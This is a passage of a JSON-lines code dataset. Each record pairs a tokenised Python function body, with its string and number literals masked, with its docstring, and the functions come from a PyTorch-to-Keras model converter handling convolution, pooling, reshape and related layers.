keras.layers.Conv2D(<EOL>filters=out_channels,<EOL>kernel_size=(height, width),<EOL>strides=(params['<STR_LIT>'][<NUM_LIT:0>], params['<STR_LIT>'][<NUM_LIT:1>]),<EOL>padding='<STR_LIT>',<EOL>weights=weights,<EOL>use_bias=has_bias,<EOL>activation=None,<EOL>dilation_rate=params['<STR_LIT>'][<NUM_LIT:0>],<EOL>bias_initializer='<STR_LIT>', kernel_initializer='<STR_LIT>',<EOL>name=tf_name<EOL>)<EOL>layers[scope_name] = conv(layers[input_name])<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>W = weights[weights_name].numpy().transpose(<NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:0>)<EOL>width, channels, n_filters = W.shape<EOL>n_groups = params['<STR_LIT>']<EOL>if n_groups > <NUM_LIT:1>:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>if bias_name in weights:<EOL><INDENT>biases = weights[bias_name].numpy()<EOL>has_bias = True<EOL><DEDENT>else:<EOL><INDENT>biases = None<EOL>has_bias = False<EOL><DEDENT>padding_name = tf_name + '<STR_LIT>'<EOL>padding_layer = keras.layers.ZeroPadding1D(<EOL>padding=params['<STR_LIT>'][<NUM_LIT:0>],<EOL>name=padding_name<EOL>)<EOL>layers[padding_name] = padding_layer(layers[inputs[<NUM_LIT:0>]])<EOL>input_name = padding_name<EOL>if has_bias:<EOL><INDENT>weights = [W, biases]<EOL><DEDENT>else:<EOL><INDENT>weights = [W]<EOL><DEDENT>conv = keras.layers.Conv1D(<EOL>filters=channels,<EOL>kernel_size=width,<EOL>strides=params['<STR_LIT>'],<EOL>padding='<STR_LIT>',<EOL>weights=weights,<EOL>use_bias=has_bias,<EOL>activation=None,<EOL>data_format='<STR_LIT>',<EOL>dilation_rate=params['<STR_LIT>'],<EOL>bias_initializer='<STR_LIT>', kernel_initializer='<STR_LIT>',<EOL>name=tf_name<EOL>)<EOL>layers[scope_name] = conv(layers[input_name])<EOL><DEDENT>", "docstring": "Convert convolution layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5035:m0"}
{"signature": "def convert_convtranspose(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:C>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>bias_name = '<STR_LIT>'.format(w_name)<EOL>weights_name = '<STR_LIT>'.format(w_name)<EOL>if len(weights[weights_name].numpy().shape) == <NUM_LIT:4>:<EOL><INDENT>W = weights[weights_name].numpy().transpose(<NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:1>, <NUM_LIT:0>)<EOL>height, width, n_filters, channels = W.shape<EOL>n_groups = params['<STR_LIT>']<EOL>if n_groups > <NUM_LIT:1>:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>if params['<STR_LIT>'][<NUM_LIT:0>] > <NUM_LIT:1>:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>if bias_name in weights:<EOL><INDENT>biases = weights[bias_name].numpy()<EOL>has_bias = True<EOL><DEDENT>else:<EOL><INDENT>biases = None<EOL>has_bias = False<EOL><DEDENT>input_name = inputs[<NUM_LIT:0>]<EOL>if has_bias:<EOL><INDENT>weights = [W, biases]<EOL><DEDENT>else:<EOL><INDENT>weights = [W]<EOL><DEDENT>conv = keras.layers.Conv2DTranspose(<EOL>filters=n_filters,<EOL>kernel_size=(height, width),<EOL>strides=(params['<STR_LIT>'][<NUM_LIT:0>], params['<STR_LIT>'][<NUM_LIT:1>]),<EOL>padding='<STR_LIT>',<EOL>output_padding=<NUM_LIT:0>,<EOL>weights=weights,<EOL>use_bias=has_bias,<EOL>activation=None,<EOL>dilation_rate=params['<STR_LIT>'][<NUM_LIT:0>],<EOL>bias_initializer='<STR_LIT>', kernel_initializer='<STR_LIT>',<EOL>name=tf_name<EOL>)<EOL>layers[scope_name] = conv(layers[input_name])<EOL>layers[scope_name].set_shape(layers[scope_name]._keras_shape)<EOL>pads = params['<STR_LIT>']<EOL>if pads[<NUM_LIT:0>] > <NUM_LIT:0>:<EOL><INDENT>assert(len(pads) == <NUM_LIT:2> or (pads[<NUM_LIT:2>] == pads[<NUM_LIT:0>] and pads[<NUM_LIT:3>] == pads[<NUM_LIT:1>]))<EOL>crop = keras.layers.Cropping2D(<EOL>pads[:<NUM_LIT:2>],<EOL>name=tf_name + '<STR_LIT>'<EOL>)<EOL>layers[scope_name] = crop(layers[scope_name])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Convert transposed convolution layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5035:m1"}
{"signature": "def convert_avgpool(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:P>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>height, width = params['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>height, width = params['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>stride_height, stride_width = params['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>stride_height, stride_width = params['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>padding_h, padding_w, _, _ = params['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>padding_h, padding_w = params['<STR_LIT>']<EOL><DEDENT>input_name = inputs[<NUM_LIT:0>]<EOL>pad = '<STR_LIT>' <EOL>if height % <NUM_LIT:2> == <NUM_LIT:1> and width % <NUM_LIT:2> == <NUM_LIT:1> andheight // <NUM_LIT:2> == padding_h and width // <NUM_LIT:2> == padding_w andstride_height == <NUM_LIT:1> and stride_width == <NUM_LIT:1>:<EOL><INDENT>pad = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>padding_name = tf_name + '<STR_LIT>'<EOL>padding_layer = keras.layers.ZeroPadding2D(<EOL>padding=(padding_h, padding_w),<EOL>name=padding_name<EOL>)<EOL>layers[padding_name] = padding_layer(layers[inputs[<NUM_LIT:0>]])<EOL>input_name = padding_name<EOL><DEDENT>pooling = keras.layers.AveragePooling2D(<EOL>pool_size=(height, width),<EOL>strides=(stride_height, stride_width),<EOL>padding=pad,<EOL>name=tf_name,<EOL>data_format='<STR_LIT>'<EOL>)<EOL>layers[scope_name] = pooling(layers[input_name])<EOL>", "docstring": "Convert Average pooling.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5036:m0"}
{"signature": "def convert_maxpool(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:P>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>height, width = params['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>height, width = params['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>stride_height, stride_width = params['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>stride_height, stride_width = params['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>padding_h, padding_w, _, _ = params['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>padding_h, padding_w = params['<STR_LIT>']<EOL><DEDENT>input_name = inputs[<NUM_LIT:0>]<EOL>pad = '<STR_LIT>' <EOL>if height % <NUM_LIT:2> == <NUM_LIT:1> and width % <NUM_LIT:2> == <NUM_LIT:1> andheight // <NUM_LIT:2> == padding_h and width // <NUM_LIT:2> == padding_w andstride_height == <NUM_LIT:1> and stride_width == <NUM_LIT:1>:<EOL><INDENT>pad = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>padding_name = tf_name + '<STR_LIT>'<EOL>padding_layer = keras.layers.ZeroPadding2D(<EOL>padding=(padding_h, padding_w),<EOL>name=padding_name<EOL>)<EOL>layers[padding_name] = padding_layer(layers[inputs[<NUM_LIT:0>]])<EOL>input_name = padding_name<EOL><DEDENT>pooling = keras.layers.MaxPooling2D(<EOL>pool_size=(height, width),<EOL>strides=(stride_height, stride_width),<EOL>padding=pad,<EOL>name=tf_name,<EOL>data_format='<STR_LIT>'<EOL>)<EOL>layers[scope_name] = pooling(layers[input_name])<EOL>", "docstring": "Convert Max pooling.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5036:m1"}
{"signature": "def convert_maxpool3(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:P>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>height, width, depth = params['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>height, width, depth = params['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>stride_height, stride_width, stride_depth = params['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>stride_height, stride_width, stride_depth = params['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>padding_h, padding_w, padding_d, _, _ = params['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>padding_h, padding_w, padding_d = params['<STR_LIT>']<EOL><DEDENT>input_name = inputs[<NUM_LIT:0>]<EOL>if padding_h > <NUM_LIT:0> and padding_w > <NUM_LIT:0> and padding_d > <NUM_LIT:0>:<EOL><INDENT>padding_name = tf_name + '<STR_LIT>'<EOL>padding_layer = keras.layers.ZeroPadding3D(<EOL>padding=(padding_h, padding_w, padding_d),<EOL>name=padding_name<EOL>)<EOL>layers[padding_name] = padding_layer(layers[inputs[<NUM_LIT:0>]])<EOL>input_name = padding_name<EOL><DEDENT>pooling = keras.layers.MaxPooling3D(<EOL>pool_size=(height, width, depth),<EOL>strides=(stride_height, stride_width, stride_depth),<EOL>padding='<STR_LIT>',<EOL>name=tf_name<EOL>)<EOL>layers[scope_name] = pooling(layers[input_name])<EOL>", "docstring": "Convert 3d Max pooling.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5036:m2"}
{"signature": "def convert_adaptive_avg_pool2d(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>global_pool = keras.layers.GlobalAveragePooling2D(data_format='<STR_LIT>', name=tf_name)<EOL>layers[scope_name] = global_pool(layers[inputs[<NUM_LIT:0>]])<EOL>def target_layer(x):<EOL><INDENT>import keras<EOL>return keras.backend.expand_dims(x)<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer, name=tf_name + '<STR_LIT:E>')<EOL>layers[scope_name] = lambda_layer(layers[scope_name])  <EOL>layers[scope_name] = lambda_layer(layers[scope_name])<EOL>", "docstring": "Convert adaptive_avg_pool2d layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5036:m3"}
{"signature": "def convert_adaptive_max_pool2d(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>global_pool = keras.layers.GlobalMaxPooling2D(data_format='<STR_LIT>', name=tf_name)<EOL>layers[scope_name] = global_pool(layers[inputs[<NUM_LIT:0>]])<EOL>def target_layer(x):<EOL><INDENT>import keras<EOL>return keras.backend.expand_dims(x)<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer, name=tf_name + '<STR_LIT:E>')<EOL>layers[scope_name] = lambda_layer(layers[scope_name])  <EOL>layers[scope_name] = lambda_layer(layers[scope_name])<EOL>", "docstring": "Convert convert_adaptive_max_pool2d layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5036:m4"}
{"signature": "def convert_flatten(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:R>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>reshape = keras.layers.Reshape([-<NUM_LIT:1>], name=tf_name)<EOL>layers[scope_name] = reshape(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert reshape(view).\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5037:m0"}
{"signature": "def convert_transpose(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if params['<STR_LIT>'][<NUM_LIT:0>] != <NUM_LIT:0>:<EOL><INDENT>if inputs[<NUM_LIT:0>] in layers:<EOL><INDENT>print('<STR_LIT>')<EOL>layers[scope_name] = layers[inputs[<NUM_LIT:0>]]<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if names:<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>permute = keras.layers.Permute(params['<STR_LIT>'][<NUM_LIT:1>:], name=tf_name)<EOL>layers[scope_name] = permute(layers[inputs[<NUM_LIT:0>]])<EOL><DEDENT>", "docstring": "Convert transpose layer.\n\nArgs:\n     params: dictionary with layer parameters\n     w_name: name prefix in state_dict\n     scope_name: pytorch scope name\n     inputs: pytorch node inputs\n     layers: dictionary with keras tensors\n     weights: pytorch state_dict\n     names: use short names for keras layers", "id": "f5037:m1"}
{"signature": "def convert_reshape(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>if len(inputs) > <NUM_LIT:1>:<EOL><INDENT>if layers[inputs[<NUM_LIT:1>]][<NUM_LIT:0>] == -<NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>reshape = keras.layers.Reshape(layers[inputs[<NUM_LIT:1>] + '<STR_LIT>'], name=tf_name)<EOL>layers[scope_name] = reshape(layers[inputs[<NUM_LIT:0>]])<EOL><DEDENT>else:<EOL><INDENT>if inputs[<NUM_LIT:0>] in layers:<EOL><INDENT>reshape = keras.layers.Reshape(params['<STR_LIT>'][<NUM_LIT:1>:], name=tf_name)<EOL>layers[scope_name] = reshape(layers[inputs[<NUM_LIT:0>]])<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Convert reshape layer.\n\nArgs:\n     params: dictionary with layer parameters\n     w_name: name prefix in state_dict\n     scope_name: pytorch scope name\n     inputs: pytorch node inputs\n     layers: dictionary with keras tensors\n     weights: pytorch state_dict\n     names: use short names for keras layers", "id": "f5037:m2"}
{"signature": "def convert_squeeze(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if len(params['<STR_LIT>']) > <NUM_LIT:1>:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>def target_layer(x, axis=int(params['<STR_LIT>'][<NUM_LIT:0>])):<EOL><INDENT>import tensorflow as tf<EOL>return tf.squeeze(x, axis=axis)<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert squeeze operation.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5037:m3"}
{"signature": "def convert_unsqueeze(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>def target_layer(x):<EOL><INDENT>import keras<EOL>return keras.backend.expand_dims(x)<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer, name=tf_name + '<STR_LIT:E>')<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert unsqueeze operation.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5037:m4"}
{"signature": "def convert_shape(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>def target_layer(x):<EOL><INDENT>import tensorflow as tf<EOL>return tf.shape(x)<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert shape operation.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5037:m5"}
{"signature": "@contextlib.contextmanager<EOL>def set_training(model, mode):", "body": "if mode is None:<EOL><INDENT>yield<EOL>return<EOL><DEDENT>old_mode = model.training<EOL>if old_mode != mode:<EOL><INDENT>model.train(mode)<EOL><DEDENT>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>if old_mode != mode:<EOL><INDENT>model.train(old_mode)<EOL><DEDENT><DEDENT>", "docstring": "A context manager to temporarily set the training mode of 'model'\nto 'mode', resetting it when we exit the with-block.  A no-op if\nmode is None.", "id": "f5038:m0"}
{"signature": "def pytorch_to_keras(<EOL>model, args, input_shapes,<EOL>change_ordering=False, training=False, verbose=False, names=False,<EOL>):", "body": "<EOL>if isinstance(args, torch.autograd.Variable):<EOL><INDENT>args = (args, )<EOL><DEDENT>if isinstance(input_shapes, tuple):<EOL><INDENT>input_shapes = [input_shapes]<EOL><DEDENT>orig_state_dict_keys = _unique_state_dict(model).keys()<EOL>with set_training(model, training):<EOL><INDENT>trace, torch_out = torch.jit.get_trace_graph(model, tuple(args))<EOL><DEDENT>if orig_state_dict_keys != _unique_state_dict(model).keys():<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if version.parse('<STR_LIT>') < version.parse(torch.__version__):<EOL><INDENT>trace.set_graph(_optimize_graph(trace.graph(), OperatorExportTypes.ONNX))<EOL><DEDENT>else:<EOL><INDENT>trace.set_graph(_optimize_graph(trace.graph(), False))<EOL><DEDENT>trace.graph().lint()<EOL>if verbose:<EOL><INDENT>print(trace.graph())<EOL><DEDENT>nodes = list(trace.graph().nodes())<EOL>if six.PY3:<EOL><INDENT>from types import SimpleNamespace<EOL>seq_to_find =['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>k = <NUM_LIT:0><EOL>s = <NUM_LIT:0><EOL>for i, node in enumerate(nodes):<EOL><INDENT>if node.kind() == seq_to_find[k]:<EOL><INDENT>if k == <NUM_LIT:0>:<EOL><INDENT>s = i<EOL><DEDENT>k += <NUM_LIT:1><EOL>if k == len(seq_to_find):<EOL><INDENT>reshape_op = nodes[s + k - <NUM_LIT:1>]<EOL>flatten_op = {<EOL>'<STR_LIT>': (lambda: '<STR_LIT>'),<EOL>'<STR_LIT>': (lambda: {}),<EOL>'<STR_LIT>':  (lambda: list(reshape_op.outputs())),<EOL>'<STR_LIT>': (lambda: reshape_op.scopeName()),<EOL>'<STR_LIT>': (lambda: list(reshape_op.inputs())[:<NUM_LIT:1>]),<EOL>'<STR_LIT>': (lambda: reshape_op.__str__()),<EOL>}<EOL>nodes = nodes[:s] + [SimpleNamespace(**flatten_op)] + nodes[s+k:]<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>k = <NUM_LIT:0><EOL>s = -<NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>graph_outputs = [get_leaf_id(n) for n in trace.graph().outputs()]<EOL>graph_inputs = [get_leaf_id(n) for n in trace.graph().inputs()]<EOL>state_dict = _unique_state_dict(model)<EOL>if verbose:<EOL><INDENT>print('<STR_LIT>', graph_inputs)<EOL>print('<STR_LIT>', graph_outputs)<EOL>print('<STR_LIT>', list(state_dict))<EOL><DEDENT>import re<EOL>import keras<EOL>from keras import backend as K<EOL>K.set_image_data_format('<STR_LIT>')<EOL>layers = dict()<EOL>keras_inputs = []<EOL>for i in range(len(args)):<EOL><INDENT>layers[graph_inputs[i]] = keras.layers.InputLayer(<EOL>input_shape=input_shapes[i], name='<STR_LIT>'.format(i)<EOL>).output<EOL>keras_inputs.append(layers[graph_inputs[i]])<EOL><DEDENT>outputs = []<EOL>group_indices = defaultdict(lambda: <NUM_LIT:0>, {})<EOL>for node in nodes:<EOL><INDENT>node_inputs = list(node.inputs())<EOL>node_input_names = []<EOL>for node_input in node_inputs:<EOL><INDENT>node_input_names.append(get_leaf_id(node_input))<EOL><DEDENT>node_type = node.kind()<EOL>node_scope_name = node.scopeName()<EOL>node_id = get_node_id(node)<EOL>node_name_regex = re.findall(r'<STR_LIT>', node_scope_name)<EOL>try: <EOL><INDENT>int(node_name_regex[-<NUM_LIT:1>])<EOL>node_weigth_group_name = '<STR_LIT:.>'.join(<EOL>node_name_regex[:-<NUM_LIT:1>]<EOL>)<EOL>node_weights_name = node_weigth_group_name + '<STR_LIT:.>' + str(group_indices[node_weigth_group_name])<EOL>group_indices[node_weigth_group_name] += <NUM_LIT:1><EOL><DEDENT>except ValueError:<EOL><INDENT>node_weights_name = '<STR_LIT:.>'.join(<EOL>node_name_regex<EOL>)<EOL><DEDENT>except IndexError:<EOL><INDENT>node_weights_name = '<STR_LIT:.>'.join(node_input_names)<EOL><DEDENT>node_attrs = {k: node[k] for k in node.attributeNames()}<EOL>node_outputs = list(node.outputs())<EOL>node_outputs_names = []<EOL>for node_output in node_outputs:<EOL><INDENT>if node_output.node().scopeName():<EOL><INDENT>node_outputs_names.append(node_output.node().scopeName())<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL>print('<STR_LIT>', node_scope_name)<EOL>print('<STR_LIT>', node_id)<EOL>print('<STR_LIT>', node_type)<EOL>print('<STR_LIT>', node_input_names)<EOL>print('<STR_LIT>', node_outputs_names)<EOL>print('<STR_LIT>', node_weights_name)<EOL>print('<STR_LIT>', node_attrs)<EOL>print('<STR_LIT>', node_id in graph_outputs)<EOL><DEDENT>AVAILABLE_CONVERTERS[node_type](<EOL>node_attrs,<EOL>node_weights_name, node_id,<EOL>node_input_names,<EOL>layers, state_dict,<EOL>names<EOL>)<EOL>if node_id in graph_outputs:<EOL><INDENT>outputs.append(layers[node_id])<EOL><DEDENT><DEDENT>model = keras.models.Model(inputs=keras_inputs, outputs=outputs)<EOL>if change_ordering:<EOL><INDENT>import numpy as np<EOL>conf = model.get_config()<EOL>for layer in conf['<STR_LIT>']:<EOL><INDENT>if layer['<STR_LIT>'] and '<STR_LIT>' in layer['<STR_LIT>']:<EOL><INDENT>layer['<STR_LIT>']['<STR_LIT>'] =tuple(np.reshape(np.array(<EOL>[<EOL>[None] +<EOL>list(layer['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:2>:][:]) +<EOL>[layer['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:1>]]<EOL>]), -<NUM_LIT:1><EOL>))<EOL><DEDENT>if layer['<STR_LIT>'] and '<STR_LIT>' in layer['<STR_LIT>']:<EOL><INDENT>if len(list(layer['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:1>:][:])) > <NUM_LIT:0>:<EOL><INDENT>layer['<STR_LIT>']['<STR_LIT>'] =tuple(np.reshape(np.array(<EOL>[<EOL>list(layer['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:1>:][:]),<EOL>layer['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>]), -<NUM_LIT:1><EOL>),)<EOL><DEDENT><DEDENT>if layer['<STR_LIT>'] and '<STR_LIT>' in layer['<STR_LIT>']:<EOL><INDENT>layer['<STR_LIT>']['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if layer['<STR_LIT>'] and '<STR_LIT>' in layer['<STR_LIT>']:<EOL><INDENT>layer['<STR_LIT>']['<STR_LIT>'] = <NUM_LIT:3><EOL><DEDENT><DEDENT>K.set_image_data_format('<STR_LIT>')<EOL>model_tf_ordering = keras.models.Model.from_config(conf)<EOL>for dst_layer, src_layer in zip(<EOL>model_tf_ordering.layers, model.layers<EOL>):<EOL><INDENT>dst_layer.set_weights(src_layer.get_weights())<EOL><DEDENT>model = model_tf_ordering<EOL><DEDENT>print('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return model<EOL>", "docstring": "By given pytorch model convert layers with specified convertors.\n\nArgs:\n    model: pytorch model\n    args: pytorch model arguments\n    input_shapes: keras input shapes (using for each InputLayer)\n    change_ordering: change CHW to HWC\n    training: switch model to training mode\n    verbose: verbose output\n    names: use short names, use random-suffix or keep original names for keras layers\n\nReturns:\n    model: created keras model.", "id": "f5038:m3"}
{"signature": "def convert_sum(<EOL>params, w_name, scope_name, inputs, layers, weights, names<EOL>):", "body": "print('<STR_LIT>')<EOL>def target_layer(x):<EOL><INDENT>import keras.backend as K<EOL>return K.sum(x)<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert sum.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5039:m0"}
